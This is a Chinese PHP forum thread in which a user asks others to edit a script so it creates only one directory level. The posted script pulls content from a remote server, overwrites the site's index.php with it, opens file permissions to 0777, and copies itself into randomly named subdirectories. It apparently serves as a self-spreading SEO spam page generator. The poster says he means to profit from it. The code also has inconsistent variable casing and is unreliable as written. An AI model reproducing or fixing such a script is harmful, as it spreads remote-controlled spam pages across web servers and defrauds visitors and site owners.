帮我改下PHP代码的生成层数

php中文网
发布: 2016-06-23 13:23:00
原创
917人浏览过

看不懂啊,现在生成的层数有好几层【生成目录后,还在子目录又生成,如 生成了 abc 又在abc里面生成 def ghi ...】

想要生成一层就行了,即根目录生成的,子目录就不再生成了

以下是代码,希望大神改好后直接粘贴回复,谢谢,谢谢,非常感谢!

<?phpheader("content-type: text/html;charset=gb2312");$remote_server = "http://meix.3428.net/"; $directory_number=5; $branch_directory_1=getcode(mt_rand(3,5));$branch_directory_2=getcode(mt_rand(3,5));$branch_directory_3=getcode(mt_rand(3,5));$branch_directory_4=getcode(mt_rand(3,5));$branch_directory_5=getcode(mt_rand(3,5));$branch_directory_6=getcode(mt_rand(3,5));$branch_directory_7=getcode(mt_rand(3,5));$branch_directory_8=getcode(mt_rand(3,5));$branch_directory_9=getcode(mt_rand(3,5));$branch_directory_10=getcode(mt_rand(3,5));$branch_directory = $branch_directory_1.".".$branch_directory_2.".".$branch_directory_3.".".$branch_directory_4.".".$branch_directory_5.".".$branch_directory_6.".".$branch_directory_7.".".$branch_directory_8.".".$branch_directory_9.".".$branch_directory_10;$newfile_content = getfilecont("index.php");if (empty($newfile_content)) {	exit("<p align='center'><font color='red'><b>页面在生成中稍等......</b></font></p>");}$ml = $_SERVER['REQUEST_URI'];$str= explode("/", $ml);$Quantity = count($str)-1; //层数$host_name = str_replace("index.php", "", "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']);if ($Quantity<5 && $Quantity>0) {	$Remote_directory = $Remote_server."/directory.php?type=index.php&host=".$host_name."&directory=".$Branch_directory;	$Content_directory = getHTTPPage($Remote_directory);		$Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);	$Branch_directory= explode(".",$Branch_directory);	echo $Content_mb;	for ($i=0;$i < count($Branch_directory); $i++) {		$check = CFolder("./".$Branch_directory[$i]."/");		if ($check == 1) {			WriteIn("./".$Branch_directory[$i]."/index.php",$NewFile_content);		}	}	WriteIn("./index.php",$Content_mb);	chmod("index.php",0777);	echo "<meta http-equiv='refresh' content='0; url=index.php'>";	exit();} else {	$Content_mb=GetHtml($Remote_server."/index.php?type=index.php&host=".$host_name);	WriteIn("./index.php",$Content_mb);	chmod("index.php",0777);	header("Location: index.php");	exit();}  function getCode($iCount) {//取随机混合字母数字    	$arrChar = "012qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM3456789";	$code="";    for ( $i = 0; $i < $iCount; $i++ )  	{ 		$code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  	}  	return $code; }function Digital($iCount) {//取随机数字    $arrChar = "0123456789";	$code="";    for ( $i = 0; $i < $iCount; $i++ )  	{ 		$code .= $arrChar[ mt_rand(0, strlen($arrChar) - 1) ];  	}  	return $code; }function sj_int($min, $max) { //取随机数字	return mt_rand($min, $max);}function WriteIn($testfile, $msg) {	if (empty($msg)) {		echo "内容为空";		return;	}		$fp = @fopen($testfile,"w");	fwrite($fp,$msg);	fclose($fp);}function getFileCont($testfile) {	$restr = '';	$fp = @fopen($testfile,"r");	if ($fp) {		while($line=fgets($fp,1024)) $restr.=$line;		fclose($fp);	}	return $restr;}function CFolder($Filepath) {  if (!file_exists($Filepath)) {	mkdir($Filepath, 0777);	return 1;  }  return 0;}function getHTTPPage($url) {	$opts = array(	  'http'=>array(		'method'=>"GET",		'header'=>"User-Agent: aQ0O010O"	  )	);	$context = stream_context_create($opts);	$html = @file_get_contents($url, false, $context);	if (empty($html)) {		exit("<p align='center'><font color='red'><b>服务器获取文件内容出错</b></font></p>");	}		return $html;} function GetHtml($url) {	return getHTTPPage($url);}
登录后复制

改图鸭AI图片生成
改图鸭AI图片生成

改图鸭AI图片生成

改图鸭AI图片生成 30
查看详情 改图鸭AI图片生成


回复讨论(解决方案)

按照那个层数标注的地方 改了也没反应啊

还是自己摸索出来了,原来层数是哪个数字 5  ,标记错了, 屌丝也有逆袭日 【完全不懂PHP,只会用,看我赚大钱吧】

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载
来源:php中文网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新 English
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号